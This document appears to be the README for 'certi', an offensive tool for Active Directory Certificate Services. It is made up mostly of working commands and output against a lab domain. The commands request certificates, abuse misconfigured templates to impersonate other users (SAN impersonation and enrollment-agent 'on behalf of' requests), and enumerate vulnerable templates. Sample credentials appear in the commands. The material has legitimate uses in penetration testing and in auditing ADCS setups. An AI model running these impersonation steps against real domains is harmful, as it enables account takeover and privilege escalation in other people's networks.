Awesome
certi
Utility to play with ADCS, allows to request tickets and collect information about related objects. Basically, it's the impacket copy of Certify. Thanks to @harmj0y and @tifkin_ for its great work with ADCS.
Request a certificate
To request a certificate you can use the req command:
$ getTGT.py 'contoso.local/Anakin:Vader1234!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Saving ticket in Anakin.ccache
$ export KRB5CCNAME=Anakin.ccache
$ certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n
[*] Service: contoso-DC01-CA
[*] Template: User
[*] Username: Anakin
[*] Response: 0x3 Issued 0x80094004, The Enrollee (CN=Anakin,CN=Users,DC=contoso,DC=local) has no E-Mail name registered in the Active Directory. The E-Mail name will not be included in the certificate.
[*] Cert subject: CN=Anakin,CN=Users,DC=contoso,DC=local
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000062BD9D6E3F1B15CC3000000000006
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication
[*] Saving certificate in Anakin.pfx (password: admin)
Depending on the enrollment service, you may need to use NTLM or Kerberos authentication to get access to it, so be sure to check both. Following is the error triggered when NTLM is not allowed and you should use Kerberos:
(certi) certi$ certi.py req 'contoso.local/Anakin:Vader1234!@dc01.contoso.local' contoso-DC01-CA
Error: WCCE SessionError: code: 0x80094011 - CERTSRV_E_ENROLL_DENIED - The permissions on this CA do not allow the current user to enroll for certificates.
Help: Try using Kerberos authentication with -k -n params
Request with an alternative name
You can use the --alt-name parameter to give an alternative subject and request a certificate that can be used to impersonate the target user if some template allows you to do that:
$ certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
[*] Service: contoso-DC01-CA
[*] Template: UserSAN
[*] Username: Anakin
[*] Alternative Name: han
[*] Response: 0x3 Issued
[*] Cert subject: CN=Anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000000A858CC4B4C9301ED600000000000A
[*] Cert Extended Key Usage: Encrypting File System, Secure Email, Client Authentication
[+] Cert Altname: han@contoso.local
[*] Saving certificate in han@contoso.local.pfx (password: admin)
You can get the templates vulnerable to this by using the --vuln and --enable params of the list command (be sure ):
$ certi.py list 'contoso.local/Anakin' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC1 -B 3
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: UserSAN
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation
Request as an enrollment agent
In case the available templates allows you to do that, you can request a certificate for an enrollment agent and then use it to request a certificate for another user:
$ certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --template EnrollAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollAgent
[*] Username: Han
[*] Response: 0x3 Issued
[*] Cert subject: CN=Han
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 75000000256F1BB99993785823000000000025
[*] Cert Extended Key Usage: Certificate Request Agent
[*] Saving certificate in Han.pfx (password: admin)
$ certi.py req 'contoso.local/Han@dc01.contoso.local' contoso-DC01-CA -k -n --on-behalf anakin --enroll-cert Han.pfx --enroll-cert-pw admin --template EnrollWithAgent
[*] Service: contoso-DC01-CA
[*] Template: EnrollWithAgent
[*] Username: Han
[*] On behalf of: anakin
[*] Response: 0x3 Issued
[*] Cert subject: CN=anakin
[*] Cert issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Cert Serial: 750000002AB527D8E1E64930DC00000000002A
[*] Cert Extended Key Usage: Any Purpose, Certificate Request Agent, Encrypting File System, Secure Email, Client Authentication
[*] Saving certificate in anakin.pfx (password: admin)
You can check for templates vulnerable to these misconfigurations with the list command (we are that permissions may restrict you from request a certificate for a given template):
$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --vuln --enable | grep ESC3 -B 3
Name: User
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Administrator
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: Machine
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: DomainController
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: SubCA
Schema Version: 1
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC1 - SAN Impersonation, ESC2 - Any Purpose, ESC3.2 - Use Agent Certificate
--
Name: EnrollAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
--
Name: EnrollwithAgent
Schema Version: 2
Enroll Services: contoso-DC01-CA
Vulnerabilities: ESC3.2 - Use Agent Certificate
List services
$ certi.py list 'contoso.local/Han' -k -n --class service
[*] Enrollment Services
Name: contoso-DC01-CA
DNS name: dc01.contoso.local
Templates: EnrollwithAgent, EnrollAgent, UserSAN, DirectoryEmailReplication, DomainControllerAuthentication, KerberosAuthentication, EFSRecovery, EFS, DomainController, WebServer, Machine, User, SubCA, Administrator
Certificate:
Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
List CAs
$ certi.py list 'contoso.local/Han' -k -n --dc-ip 192.168.100.2 --class ca
[*] Root CAs
Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local
[*] Authority Information Access
Cert Subject: CN=contoso-DC01-CA,DC=contoso,DC=local
Cert Serial: 23D21EB948AC688545EC15FEB03B0C33
Cert Start: 2021-08-01 12:49:46
Cert End: 2026-08-01 12:59:46
Cert Issuer: CN=contoso-DC01-CA,DC=contoso,DC=local